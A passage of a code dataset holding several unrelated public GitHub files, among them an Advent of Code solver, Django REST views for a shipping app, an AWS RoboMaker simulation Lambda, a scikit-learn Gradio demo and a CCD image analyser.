0: {\"a\", \"b\", \"c\", \"e\", \"f\", \"g\"},\n 1: {\"c\", \"f\"},\n 2: {\"a\", \"c\", \"d\", \"e\", \"g\"},\n 3: {\"a\", \"c\", \"d\", \"f\", \"g\"},\n 4: {\"b\", \"c\", \"d\", \"f\"},\n 5: {\"a\", \"b\", \"d\", \"f\", \"g\"},\n 6: {\"a\", \"b\", \"d\", \"e\", \"f\", \"g\"},\n 7: {\"a\", \"c\", \"f\"},\n 8: {\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\"},\n 9: {\"a\", \"b\", \"c\", \"d\", \"f\", \"g\"}\n }\n\n self.lengths: Dict[int, Tuple[int]] = {\n 2: (1,),\n 3: (7,),\n 4: (4,),\n 5: (2, 3, 5),\n 6: (0, 6, 9),\n 7: (8,)\n }\n\n self.found_digits: Dict[int, int] = {i: 0 for i in range(10)}\n\n def count_number_of_digits(self) -> int:\n found_digits = 0\n for line in self.data:\n input_string, output_string = line.split(\" | \")\n inputs, outputs = sorted(input_string.split(), key=len), sorted(output_string.split(), key=len)\n\n for output in outputs:\n if len(output) == len(self.digit_map[1]):\n found_digits += 1\n elif len(output) == len(self.digit_map[4]):\n found_digits += 1\n elif len(output) == len(self.digit_map[7]):\n found_digits += 1\n elif len(output) == len(self.digit_map[8]):\n found_digits += 1\n\n return found_digits\n\n def solve_line(self, line: str):\n # Key = how the signal is presenting itself, Value = what belongs in the digit map\n line_digit_map: Dict[str, str] = {}\n\n input_string, output_string = line.split(\" | \")\n inputs, o = sorted(input_string.split(), key=len), output_string.split()\n\n outputs = []\n for output in o:\n outputs.append(frozenset(output))\n\n candidates = [[] for _ in range(10)]\n for inpt in inputs:\n for length in self.lengths[len(inpt)]:\n candidates[length].append(frozenset(inpt))\n\n d1 = candidates[1][0]\n d4 = candidates[4][0]\n\n # 2, 5, and 6 must not contain both segments of 1.\n for i in (2, 5, 6):\n candidates[i] = [c for c in candidates[i] if not d1.issubset(c)]\n\n # The intersection of 5 and 4 must have length 3.\n candidates[5] = [c for c in candidates[5] if len(d4.intersection(c)) == 3]\n\n # The intersection of 2 and 4 must have length 2.\n candidates[2] = [c for c in candidates[2] if len(d4.intersection(c)) == 2]\n\n # The intersection of 9 and 4 must have length 4.\n candidates[9] = [c for c in candidates[9] if len(d4.intersection(c)) == 4]\n\n # The intersection of 3 and 1 must have length 2.\n candidates[3] = [c for c in candidates[3] if len(d1.intersection(c)) == 2]\n\n # The intersection of 0 and 1 must have length 2 and between 0 and 4 is must have length 3.\n candidates[0] = [c for c in candidates[0]\n if len(d1.intersection(c)) == 2 and len(d4.intersection(c)) == 3]\n\n pattern = {c[0]: i for i, c in enumerate(candidates)}\n\n number = 0\n for i, magnitude in enumerate((1000, 100, 10, 1)):\n number += pattern[outputs[i]] * magnitude\n\n return number\n\n def part1(self):\n return self.count_number_of_digits()\n\n def part2(self):\n result = 0\n for line in self.data:\n result += self.solve_line(line)\n return result\n\n\nday = Day8()\nday.run()\n","repo_name":"oliviamikola/AdventOfCode2021","sub_path":"Day8/Day8.py","file_name":"Day8.py","file_ext":"py","file_size_in_byte":3715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2187188476","text":"from diffractio import nm, um, mm, cm, degrees\nfrom diffractio.scalar_sources_XY import Scalar_source_XY\nimport numpy as np\n\nx0 = np.linspace(-1 * mm, 1 * mm, 100)\ny0 = np.linspace(-1 * mm, 1 * mm, 100)\nl1 = 589.6 * nm\nl2 = 589.6 * nm\n\nu1 = Scalar_source_XY(x=x0, y=y0, wavelength=l1, info='u1')\nu2 = Scalar_source_XY(x=x0, y=y0, wavelength=l2, info='u2')\n\nu1.gauss_beam(r0=(0, 0), w0=1 * mm, A=1, theta=0 * degrees, phi= 0 * degrees)\nu2.plane_wave(A=1, z0=0, theta=90 * degrees, phi= 100 * degrees)\n\nu_sum = u1 + u2\nu_sum.draw(filename='air_wedge.png', has_colorbar='horizontal')\n","repo_name":"dheerajshenoy/optics_simulation","sub_path":"air_wedge.py","file_name":"air_wedge.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42963061289","text":"from django.contrib.auth import get_user_model\nfrom django.http import HttpResponseForbidden\nfrom rest_framework import generics\nfrom rest_framework import mixins\nfrom rest_framework import status\nfrom rest_framework import viewsets\nfrom rest_framework.authentication import TokenAuthentication, SessionAuthentication\nfrom rest_framework.decorators import api_view, list_route, detail_route\nfrom rest_framework.generics import get_object_or_404, CreateAPIView\nfrom rest_framework.permissions import IsAuthenticated, AllowAny\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom sendit_app.models import Envio, Vehiculo, EstadoEnvio\nfrom sendit_app.models.User import User, PerfilRemitente, PerfilRepartidor\nfrom api.serializers import PerfilRemitenteInputSerializer, UserInputSerializer, PerfilRepartidorInputSerializer, \\\n PerfilRemitenteOutputSerializer, UserOutputSerializer, PerfilRepartidorOutputSerializer, EnvioSerializer, VehiculoSerializer\nfrom api.Services import EnvioService\n\n\nclass UserViewSet(viewsets.GenericViewSet):\n queryset = User.objects.all()\n\n @list_route(methods=['get', 'put'], permission_classes=[IsAuthenticated], authentication_classes=(SessionAuthentication, TokenAuthentication,))\n def me(self, request, *args, **kwargs):\n try:\n user = User.objects.get(username=request.user)\n if user.es_remitente:\n self.serializer_class = PerfilRemitenteOutputSerializer\n view = RemitenteViewSet.as_view({'get': 'retrieve', 'put': 'update'})\n return view(request, pk=user.id)\n if user.es_repartidor:\n self.serializer_class = PerfilRepartidorOutputSerializer\n view = RepartidorViewSet.as_view({'get': 'retrieve', 'put': 'update'})\n return view(request, pk=user.id)\n except:\n return Response(status=404, template_name=FileNotFoundError) #Revisar aca que devuevlo si no encuentro al usuario por alguna razon\n\n @detail_route(methods=['post'], permission_classes=[IsAuthenticated], authentication_classes=(SessionAuthentication, TokenAuthentication,))\n def set_password(self, request, pk=None):\n user = self.get_object()\n serializer = PasswordSerializer(data=request.data)\n if serializer.is_valid():\n user.set_password(serializer.data['password'])\n user.save()\n return Response({'status': 'password set'})\n else:\n return Response(serializer.errors,\n status=status.HTTP_400_BAD_REQUEST)\n\n\nclass RemitenteViewSet(mixins.CreateModelMixin, viewsets.GenericViewSet,\n mixins.UpdateModelMixin, mixins.RetrieveModelMixin):\n queryset = PerfilRemitente.objects.all()\n serializer_class = PerfilRemitenteInputSerializer\n\n '''@list_route(methods=['post'], permission_classes=[AllowAny]) #NO FUNCIONANDO, PARA REGISTRO /users/reartidor metodo:post\n def register(self, request):\n return Response({'id_user': RemitenteViewSet.create(self, request)})\n '''\n\n @list_route(methods=['get', 'put'], permission_classes=[IsAuthenticated],\n authentication_classes=(SessionAuthentication, TokenAuthentication,))\n def me(self, request, *args, **kwargs):\n self.serializer_class = PerfilRemitenteOutputSerializer\n view = RemitenteViewSet.as_view({'get': 'retrieve', 'put': 'update'})\n return view(request, pk=request.user.id)\n\n\nclass RepartidorViewSet(mixins.CreateModelMixin, viewsets.GenericViewSet,\n mixins.UpdateModelMixin, mixins.RetrieveModelMixin):\n queryset = PerfilRepartidor.objects.all()\n\n def get_serializer_class(self):\n if self.action == 'retrieve':\n return PerfilRepartidorOutputSerializer\n if self.action == 'list':\n return PerfilRepartidorOutputSerializer\n if self.action == 'create':\n return PerfilRepartidorInputSerializer\n if self.action == 'update':\n return PerfilRepartidorInputSerializer\n\n @detail_route(methods=['put'], permission_classes=[IsAuthenticated], authentication_classes=(SessionAuthentication, TokenAuthentication,))\n def actualizar_ubicacion(self, request, pk):\n repartidor_serializer = PerfilRepartidorInputSerializer(\n instance=PerfilRepartidor.objects.get(user=request.user),\n data=self.request.data,\n partial=True\n )\n if repartidor_serializer.is_valid():\n repartidor_serializer.save()\n return Response({'status':'actualizado'})\n\n @list_route(methods=['get', 'put'], permission_classes=[IsAuthenticated],\n authentication_classes=(SessionAuthentication, TokenAuthentication,))\n def me(self, request, *args, **kwargs):\n self.serializer_class = PerfilRepartidorOutputSerializer\n view = RepartidorViewSet.as_view({'get': 'retrieve', 'put': 'update'})\n return view(request, pk=request.user.id)\n\n\n\nclass TestUpdateVehiculo(viewsets.ModelViewSet):\n queryset = Vehiculo.objects.all()\n serializer_class = VehiculoSerializer\n\n def update(self, request, *args, **kwargs):\n vehiculo_serializer = VehiculoSerializer(\n instance=self.get_object(),\n data=self.request.data,\n partial=True\n )\n if vehiculo_serializer.is_valid():\n vehiculo_serializer.save()\n return Response(vehiculo_serializer.data)\n\n\nclass EnviosViewSet(viewsets.ModelViewSet):\n authentication_classes = (SessionAuthentication, TokenAuthentication)\n permission_classes = (IsAuthenticated,)\n\n queryset = Envio.objects.all()\n serializer_class = EnvioSerializer\n\n def create(self, request, *args, **kwargs):\n return Response({'envio_id': EnvioService.crear_envio(self, datos=request.data, user=request.user, plan_id=1)})\n\n @detail_route(methods=['get'])\n def reintentar_busqueda(self, request, pk):\n EnvioService.buscar_notificar_repartidor(self,envio_id=pk)\n return Response({'status': 'buscando y notificando repartidores'})\n\n @detail_route(methods=['get'])\n def cancelar_busqueda(self, request, pk):\n EnvioService.cancelar_envio(self,envio_id=pk)\n return Response({'status':'envio cancelado'})\n\n @detail_route(methods=['get'])\n def get_repartidor(self, request, pk):\n return Response(EnvioService.repartidor_envio(self,envio_id=pk))\n\n\n @detail_route(methods=['get'], permission_classes=[AllowAny])\n def tracking_envio(self, request, pk):\n tracking = EnvioService.rastrear_envio(self,envio_id=pk)\n return {'lat':tracking.latitud, 'lon':tracking.longitud}\n\n def get_queryset(self):\n \"\"\"\n This view should return a list of all the envios\n for the currently authenticated user.\n \"\"\"\n if self.request.user.es_remitente:\n remitente = PerfilRemitente.objects.get(user=self.request.user)\n return Envio.objects.filter(remitente=remitente)\n else:\n repartidor = PerfilRepartidor.objects.get(user=self.request.user)\n return Envio.objects.filter(estado=EstadoEnvio.GENERADO, categoria=repartidor.categoria)","repo_name":"nicolasvinciguerra/sendit","sub_path":"api/viewSets.py","file_name":"viewSets.py","file_ext":"py","file_size_in_byte":7239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32537530510","text":"import galois\nimport numpy as np\n\n# parameter n\nn = 1093\nk = 999\n\ngf = galois.GF(3**7)\n\nrs = galois.ReedSolomon(n, k, field=gf)\n\nx = gf.Random(rs.n)\nprint(rs.H.shape)\nprint(x.shape)\nPx = np.matmul(rs.H, x)\nprint(Px.shape)\n\nPx = Px.view(np.ndarray)\nprint(np.mod(Px, 3))\n\n# might be useful for syndrome list decoding\n'''\nprint(rs.t)\nprint(rs.roots.size)\nfor root in rs.roots:\n print(root)\n'''","repo_name":"sambux1/perceptographic","sub_path":"reed_solomon.py","file_name":"reed_solomon.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"74631666327","text":"from base import descriptions\n \nclass Tema(descriptions.BaseDescription):\n \n def _str_value(self,val):\n if type(val) not in [list,set]:\n return str(val)\n V=list(val)\n V.sort()\n return '[%s]' % \",\".join([ str(v) for v in V ])\n\n def __eq__(self,other):\n if type(other) is not type(self): return NotImplemented\n s_k=list(self.keys())\n o_k=list(other.keys())\n s_k.sort()\n o_k.sort()\n if s_k!=o_k: return False\n for k in s_k:\n if self._cfr(self[k],other[k])!=0: return False\n return True\n\n def _cfr(self,a,b):\n if type(a) is set:\n a_set=a\n elif type(a) is list: \n a_set=set(a)\n else:\n a_set=set([a])\n\n if type(b) is set:\n b_set=b\n elif type(b) is list: \n b_set=set(b)\n else:\n b_set=set([b])\n\n if a_set==b_set: return 0\n if a_set1: return ret\n return ret.pop()\n\n def __add__(self,other):\n if type(other) is not type(self): return NotImplemented\n D=self.copy()\n for k in other:\n if k not in self:\n D[k]=other[k]\n continue\n D[k]=self._value_add(D[k],other[k])\n return D\n \n\n","repo_name":"chiara-paci/clotilde","sub_path":"clotildecore/morphology/temas.py","file_name":"temas.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42239012821","text":"import torch \nfrom torchsummary import summary\nfrom self_attention import *\nfrom utils import set_torch_device\n\n\nif __name__ == \"__main__\":\n # device = set_torch_device()\n device = \"mps\"\n x = torch.tensor([[1,5,6,4,3,9,5,2,0], [1,8,7,3,4,5,6,7,2]]).to(device)\n\n trg = torch.tensor([[1,7,4,3,5,9,2,0], [1,5,6,2,4,7,6,2]]).to(device)\n\n src_pad_idx = 0\n trg_pad_idx = 0\n src_vocab_size = 10\n trg_vocab_size = 10\n\n model = Transformer(src_vocab_size, trg_vocab_size, src_pad_idx, trg_pad_idx, \n device=device\n )\n \n\n out = model(x, trg[:, :-1])\n print(out.shape)\n # print(out)\n\n ","repo_name":"LimboWK/myTransformers","sub_path":"toy_example.py","file_name":"toy_example.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41086154229","text":"import re\r\nimport argparse\r\nfrom functools import reduce\r\n\r\n# maybe el30?\r\ndef parse_line(line,current_state,office,district):\r\n if re.search(r'OFFICIAL RESULTS',line):\r\n return '','OFFICIAL'\r\n if current_state=='OFFICIAL' and not re.match('^[A-Z\\s]+$',line):\r\n return line,'COUNTY'\r\n if current_state=='COUNTY':\r\n return line.strip(),'PRECINCT'\r\n if re.match(r'Vote For [\\d]+',line):\r\n return '','VOTEFOR'\r\n if current_state=='VOTEFOR' and re.search(office,line):\r\n return '','OFFICE'\r\n elif current_state=='VOTEFOR' and re.search(district,line,re.I):\r\n return re.sub(r'[^\\d]','',line),'CONGRESS'\r\n if (current_state=='OFFICE' or current_state=='CONGRESS') and re.search(r'Contest Totals',line):\r\n return '','TOTALS'\r\n if current_state=='OFFICE' and re.search(r'[\\d,]+',line):\r\n office_name=re.sub(r'[\\s\\d]+$','',line)\r\n return (office_name,re.sub(',','',re.search(r'[\\d][\\d,]*',line).group(0))),'OFFICE'\r\n elif current_state=='CONGRESS' and re.search(r'[\\d]+',line):\r\n office_name=re.sub(r'[\\s\\d]+$','',line)\r\n return (office_name,re.sub(',','',re.search(r'[\\d][\\d,]*',line).group(0))),'CONGRESS'\r\n return '',current_state\r\n\r\ndef parseelectionware(filename,outfilename,officenamebegin,districtname='Congress'):\r\n state='NONE'\r\n print(filename)\r\n precinct_map={}\r\n done_office=False\r\n office_list=[]\r\n curr_precinct=''\r\n curr_district=''\r\n counter=0\r\n with open(filename,'r') as f:\r\n for line in f:\r\n counter+=1\r\n #if counter>=1000:\r\n # break\r\n\r\n old_precinct=curr_precinct\r\n line=line.strip()\r\n line_data,new_state=parse_line(line.strip(),state,officenamebegin,districtname)\r\n if state=='OFFICE' and new_state=='TOTALS':\r\n done_office=True\r\n state = new_state\r\n if new_state=='CONGRESS' and state=='VOTEFOR':\r\n curr_district=line_data\r\n precinct_map[curr_precinct][\"districts\"][curr_district]=0\r\n state = new_state\r\n elif new_state=='CONGRESS' and line_data!='':\r\n precinct_map[curr_precinct][\"districts\"][curr_district] += int(line_data[1].strip())\r\n state = new_state\r\n if new_state=='PRECINCT' and state!='PRECINCT':\r\n if line_data!=curr_precinct:\r\n state = new_state\r\n print(f\"curr_precinct={curr_precinct}\")\r\n\r\n curr_precinct=line_data\r\n precinct_map[curr_precinct]={officenamebegin:[],\"districts\":{}}\r\n if new_state=='OFFICE' and line_data!='':\r\n if not done_office:\r\n office_list.append(line_data[0])\r\n\r\n precinct_map[curr_precinct][officenamebegin].append(line_data[1])\r\n state = new_state\r\n print(f'{curr_precinct:40},{new_state:12},{state:12},line={line},line_data={line_data}')\r\n state=new_state\r\n\r\n with open(outfilename,'w') as f:\r\n header_line='Precinct,District,'+','.join(office_list)\r\n f.write(header_line+'\\n')\r\n\r\n for precinct in precinct_map:\r\n #print(precinct_map[precinct])\r\n data=precinct_map[precinct][officenamebegin]\r\n dists=precinct_map[precinct][\"districts\"]\r\n dist_sum=0\r\n for dist in dists:\r\n dist_sum+=dists[dist]\r\n for dist in dists:\r\n print(dist)\r\n data=list(map(lambda x:str(round(int(x)*dists[dist]*1./dist_sum)),data))\r\n outline=precinct.strip()+','+f'{dist}'+',' +','.join(data)+'\\n'\r\n #print(outline)\r\n f.write(outline)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n import sys\r\n parser=argparse.ArgumentParser(description='Process ElectionWare by district type.')\r\n parser.add_argument('-i',dest='input',help='input file location')\r\n parser.add_argument('-o',dest='output',help='output file location')\r\n parser.add_argument('--office',dest='officename',default='President',help='Office to split')\r\n parser.add_argument('-d',dest='district',default='Congress',help='District to split')\r\n args=parser.parse_args()\r\n parseelectionware(filename=args.input,officenamebegin=args.officename,districtname=args.district,\r\n outfilename=args.output)","repo_name":"jacobmas/Elections","sub_path":"scripts/parseelectionware.py","file_name":"parseelectionware.py","file_ext":"py","file_size_in_byte":4434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70454730969","text":"#\n'''\n In this sample lambda function, multiple simulation jobs will be run based on a common configuration.\n \n Below is a sample event that you could use to invoke the lambda function and launch a set of simulations.\n \n {\n \"wait\": \"5\",\n \"scenarios\": {\n \"\": {\n \"robotEnvironmentVariables\": {}\n \"simEnvironmentVariables\": {}\n }\n },\n \"simulations\": [{\n \"scenarios\": [\"\"]\n \"params\": CreateSimulationJobParams\n }]\n }\n \n'''\n\nimport json\nimport boto3\nimport time\n\nclient = boto3.client('robomaker')\n\ndef lambda_handler(event, context):\n responses = []\n numLaunchSuccess = 0\n totalJobs = 0\n \n print(\"Starting test simulations...\")\n \n for simulation in event['simulations']:\n \n print(\"Running simulation %s...\" % json.dumps(simulation))\n \n for x, scenario in enumerate(simulation['scenarios']):\n \n totalJobs += 1\n \n if scenario in event['scenarios'].keys():\n \n print(\"Scenario %s found...\" % scenario)\n \n simulation['params']['tags'] = { \"Scenario\": scenario }\n y, z = 0, 0\n\n for y, robotApp in enumerate(simulation['params']['robotApplications']):\n simulation['params']['robotApplications'][y]['launchConfig']['environmentVariables'] = event['scenarios'][scenario]['robotEnvironmentVariables']\n \n for z, simApp in enumerate(simulation['params']['simulationApplications']):\n simulation['params']['simulationApplications'][z]['launchConfig']['environmentVariables'] = event['scenarios'][scenario]['simEnvironmentVariables']\n\n print(\"Running scenario %s...\" % scenario)\n\n try:\n print(\"Params %s: \" % json.dumps(simulation['params']))\n print(\"Starting simulation for scenario %s\" % scenario)\n # Create a new simulation job based on Lambda event data.\n \n response = client.create_simulation_job(**simulation['params'])\n \n #For debugging\n print(response)\n \n if (response):\n numLaunchSuccess += 1\n responses.append(response)\n else:\n raise Exception(\"No response.\")\n\n except Exception as e:\n print(\"Error runnning simulation, skipping. Error: %s \", e)\n else:\n print(\"Scenario not found. Please check your JSON file.\")\n \n # A defined wait period to not run into AWS API throttling issues.\n # For more information on limits for AWS RoboMaker and other services, check out this link:\n # https://docs.aws.amazon.com/general/latest/gr/aws_service_limits.html\n if ((x+1)>=len(simulation['scenarios'])):\n time.sleep(event['wait'])\n\n return json.dumps({\n 'statusCode': 200,\n 'body': {\n 'numLaunched': numLaunchSuccess,\n 'numFailed': (totalJobs - numLaunchSuccess),\n 'responses': responses\n }\n })\n","repo_name":"jerwallace/batch-simulations-scenarios","sub_path":"batch_simulations/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73256696407","text":"from turtle import title\nimport gradio as gr\nimport matplotlib.pyplot as plt\nfrom sklearn.datasets import load_diabetes\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.model_selection import cross_val_predict\nfrom sklearn.metrics import PredictionErrorDisplay\n\n\ndef predict_diabetes(subsample, plot_type):\n X, y = load_diabetes(return_X_y=True)\n lr = LinearRegression()\n y_pred = cross_val_predict(lr, X, y, cv=10)\n\n fig, axs = plt.subplots(ncols=2, figsize=(8, 4))\n if \"Actual vs. Predicted\" in plot_type:\n PredictionErrorDisplay.from_predictions(\n y,\n y_pred=y_pred,\n kind=\"actual_vs_predicted\",\n subsample=subsample,\n ax=axs[0],\n random_state=0,\n )\n axs[0].set_title(\"Actual vs. Predicted values\")\n if \"Residuals vs. Predicted\" in plot_type:\n PredictionErrorDisplay.from_predictions(\n y,\n y_pred=y_pred,\n kind=\"residual_vs_predicted\",\n subsample=subsample,\n ax=axs[1],\n random_state=0,\n )\n axs[1].set_title(\"Residuals vs. Predicted Values\")\n\n fig.suptitle(\"Plotting cross-validated predictions\")\n plt.tight_layout()\n plt.close(fig)\n\n # Save the figure as an image\n image_path = \"predictions.png\"\n fig.savefig(image_path)\n return image_path\n\n\n# Define the Gradio interface\ninputs = [\n gr.inputs.Slider(minimum=1, maximum=100, step=1, default=100, label=\"Subsample\"),\n gr.inputs.CheckboxGroup([\"Actual vs. Predicted\", \"Residuals vs. Predicted\"], label=\"Plot Types\", default=[\"Actual vs. Predicted\", \"Residuals vs. Predicted\"])\n]\noutputs = gr.outputs.Image(label=\"Cross-Validated Predictions\", type=\"pil\")\n\ntitle = \"Plotting Cross-Validated Predictions\"\ndescription=\"This app plots cross-validated predictions for a linear regression model trained on the diabetes dataset. See the original scikit-learn example here: https://scikit-learn.org/stable/auto_examples/model_selection/plot_cv_predict.html\"\nexamples = [\n [\n 100,\n [\"Actual vs. Predicted\"],\n \"Plotting cross-validated predictions with Actual vs. Predicted plot.\",\n ],\n [\n 50,\n [\"Residuals vs. Predicted\"],\n \"Plotting cross-validated predictions with Residuals vs. Predicted plot.\",\n ],\n [\n 75,\n [\"Actual vs. Predicted\", \"Residuals vs. Predicted\"],\n \"Plotting cross-validated predictions with both Actual vs. Predicted and Residuals vs. Predicted plots.\",\n ],\n]\n\ngr.Interface(fn=predict_diabetes, title=title, description=description, examples=examples, inputs=inputs, outputs=outputs).launch()\n","repo_name":"Devanshu-17/HuggingFace-Sklearn-Sprint","sub_path":"Plotting_Cross_Validated_Predictions.py","file_name":"Plotting_Cross_Validated_Predictions.py","file_ext":"py","file_size_in_byte":2668,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"29191541728","text":"# Given a tree find a level which has max sum\n# Space complexity O(n) and time complexity O(n)\n\n\nclass Node:\n def __init__(self, value):\n self.left = None\n self.right = None\n self.value = value\n\n\n# Time complexity O(n2) and space complexity O(w) w->width\ndef max_sum_level_1(temp):\n if temp is None:\n return\n queue = [temp]\n max_level = 0\n cur_level = 0\n max_sum = 0\n cur_sum = 0\n while True:\n width = len(queue)\n cur_level += 1\n if width == 0:\n return max_level\n cur_sum = 0\n while width > 0:\n node = queue[0]\n queue.pop(0)\n cur_sum = cur_sum + node.value\n if node.left:\n queue.append(node.left)\n if node.right:\n queue.append(node.right)\n width -= 1\n\n if cur_sum > max_sum:\n max_sum = cur_sum\n max_level = cur_level\n\n\n# Time complexity O(n2) and space complexity O(w+1) w->width\ndef max_sum_level_2(temp):\n if temp is None:\n return 0\n queue = [temp, None]\n max_sum = 0\n cur_sum = 0\n cur_level = 1\n max_level = 1\n while queue:\n node = queue[0]\n queue.pop(0)\n if node is None:\n if cur_sum > max_sum:\n max_sum = cur_sum\n max_level = cur_level\n cur_sum = 0\n if queue:\n cur_level += 1\n queue.append(node)\n else:\n cur_sum += node.value\n if node.left:\n queue.append(node.left)\n if node.right:\n queue.append(node.right)\n return max_level\n\n\nif __name__ == \"__main__\":\n root = Node(1)\n root.left = Node(2)\n root.right = Node(300)\n root.left.left = Node(4)\n root.left.right = Node(5)\n root.right.left = Node(6)\n root.right.right = Node(700)\n\n print(max_sum_level_2(root))\n","repo_name":"cspandit/Python-DS-and-Algo","sub_path":"Binary Tree/problem/max_sum_level.py","file_name":"max_sum_level.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5110290517","text":"# -*- coding: utf-8 -*-\r\nimport support_functions as sf\r\nfrom CCDReducer import CCDReducer\r\nfrom errors import CCDBackFocalPlaneAnalyserError\r\n\r\n\r\nfrom matplotlib import pyplot as plt, colors\r\nimport numpy as np\r\n\r\n\r\nclass CCDBackFocalPlaneAnalyser(object):\r\n \"\"\"Master class to analyse two back focal plane images.\r\n\r\n __init__(self, lensfilepath, nolensfilename [, masterpath]):\r\n lensfilepath:\r\n The full path to the data file containing the Back Focal Plane\r\n image with the lens.\r\n nolensfilepath:\r\n The full path to the data file containing the BFP image without\r\n the lens.\r\n masterpath:\r\n The full path to the master files folder created by\r\n CCDReductionObject. If masterpath is not given the images are\r\n not reduced and the data has a larger error.\r\n\r\n\r\n Attributes:\r\n self.lens:\r\n Data object holding the lens BFP data\r\n self.nolens:\r\n Data object holding the nolens BFP data\r\n\r\n Functions:\r\n self.show(self [, x, y, [r]]):\r\n Displays the two images. Plots a horizontal and vertical\r\n line at y and x resp. If r is given also plots a circle\r\n centered at x, y\r\n self.findT(self, x, y, r [, plot=True]):\r\n Calculates the Transmissivity by integrating over a circular\r\n aperture centered on x, y with radius r. T is de fraction of\r\n lens to nolens. If plot is True also calls show to visualise\r\n where was integrated.\r\n \"\"\"\r\n\r\n def __init__(self, lensfilepath, nolensfilepath, masterpath=None):\r\n self.lens = self._loadfile(lensfilepath, masterpath, None)\r\n self.nolens = self._loadfile(nolensfilepath, masterpath, None)\r\n self.lens /= self.lens.time()\r\n self.nolens /= self.nolens.time()\r\n assert len(self.lens) == len(self.nolens), \"lens and nolens don't have an equal number of images.\"\r\n\r\n @staticmethod\r\n def _loadfile(filepath, masterpath, savepath):\r\n \"\"\"Returns a Data object.\"\"\"\r\n\r\n f = CCDReducer(filepath, masterpath, savepath)\r\n return f.data\r\n\r\n def show(self, x=None, y=None, r=None):\r\n \"\"\"Displays the two images. Plots a horizontal and vertical line at y\r\n and x resp. If r is given also plots a circle centered at x, y\r\n \"\"\"\r\n\r\n assert self._assertlengths(self.lens, x, y, r), \"all lengths must match!\"\r\n if x is None:\r\n x = [None] * len(self.lens)\r\n if y is None:\r\n y = [None] * len(self.lens)\r\n if r is None:\r\n r = [None] * len(self.lens)\r\n\r\n for i in range(len(self.lens)):\r\n fig = plt.figure()\r\n ax1 = fig.add_subplot(211)\r\n ax2 = fig.add_subplot(212)\r\n self._show(fig, ax1, self.lens.data()[i], x[i], y[i], r[i])\r\n self._show(fig, ax2, self.nolens.data()[i], x[i], y[i], r[i])\r\n ax2.set_xlabel(\"x position\")\r\n ax1.set_ylabel(\"y position\")\r\n ax2.set_ylabel(\"y position\")\r\n\r\n @staticmethod\r\n def _show(fig, ax, data, x, y, r):\r\n im = ax.imshow(data, cmap=\"jet\", interpolation=\"none\", aspect=\"auto\")\r\n if x is not None:\r\n ax.axvline(x, color=\"red\")\r\n if y is not None:\r\n ax.axhline(y, color=\"blue\")\r\n if r is not None and x is not None and y is not None:\r\n theta = np.linspace(0, 2 * np.pi, 1000)\r\n ax.plot(x + r * np.cos(theta), y + r * np.sin(theta), color=\"orange\")\r\n cb = fig.colorbar(im, ax=ax)\r\n cb.set_label(\"counts/s\")\r\n\r\n def findT(self, x, y, r, plot=True):\r\n \"\"\"Calculates the Transmissivity by integrating over a circular\r\n aperture centered on x, y with radius r. T is de fraction of lens to\r\n nolens. If plot is True also calls show to visualise where was\r\n integrated.\r\n \"\"\"\r\n\r\n assert len(x) == len(y) == len(r) == len(self.lens), \"all lengths must match!\"\r\n x, y, r = np.array(x), np.array(y), np.array(r)\r\n T = []\r\n for i in range(len(self.lens)):\r\n\r\n A = np.sum(self.lens.data()[i] * sf.aperturized(self.lens.data()[i].shape, [y[i], x[i]], r))\r\n B = np.sum(self.nolens.data()[i] * sf.aperturized(self.nolens.data()[i].shape, [y[i], x[i]], r))\r\n T.append(A / B)\r\n if plot is True:\r\n self.show(x, y, r)\r\n return T\r\n\r\n @staticmethod\r\n def _assertlengths(data, x, y, r):\r\n if x == y == r is None:\r\n return True\r\n _thing = []\r\n for i in [x, y, r]:\r\n if i is None:\r\n _thing.append(True)\r\n else:\r\n _thing.append(len(data) == len(i))\r\n return np.all(_thing)\r\n","repo_name":"characterisation-micro-lenses/CCD-Reducer","sub_path":"CCD Reduction Files v2/CCDBackFocalPlaneAnalyser.py","file_name":"CCDBackFocalPlaneAnalyser.py","file_ext":"py","file_size_in_byte":4861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6816673185","text":"from django import forms\nfrom pybo.models import Question, Answer\n\nclass AnswerForm(forms.ModelForm):\n class Meta:\n model = Answer # 사용할 Answer model\n\n fields = ['content'] #AnswerForm 사용할 Answer model 속성\n\n labels = {\n 'content': '답변내용'\n }\n\nclass QuestionForm(forms.ModelForm):\n class Meta:\n model = Question # 사용할 Question model\n\n fields = ['subject', 'content'] # QuestionForm 사용할 question model의 속성\n widgets = {\n 'subject': forms.TextInput(attrs={'class':'form-control'}),\n 'content': forms.Textarea(attrs={'class':'form-control','rows':10})\n }\n\n labels = { # subject -> 제목으로 변경\n 'subject': '제목',\n 'content' : '내용',\n }\n\n\n","repo_name":"MOONHYUNHEE/pybo","sub_path":"pybo/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"44945884500","text":"from __future__ import absolute_import, division, print_function\n\nfrom operator import itemgetter\nimport io\nimport json\n\nimport numpy as 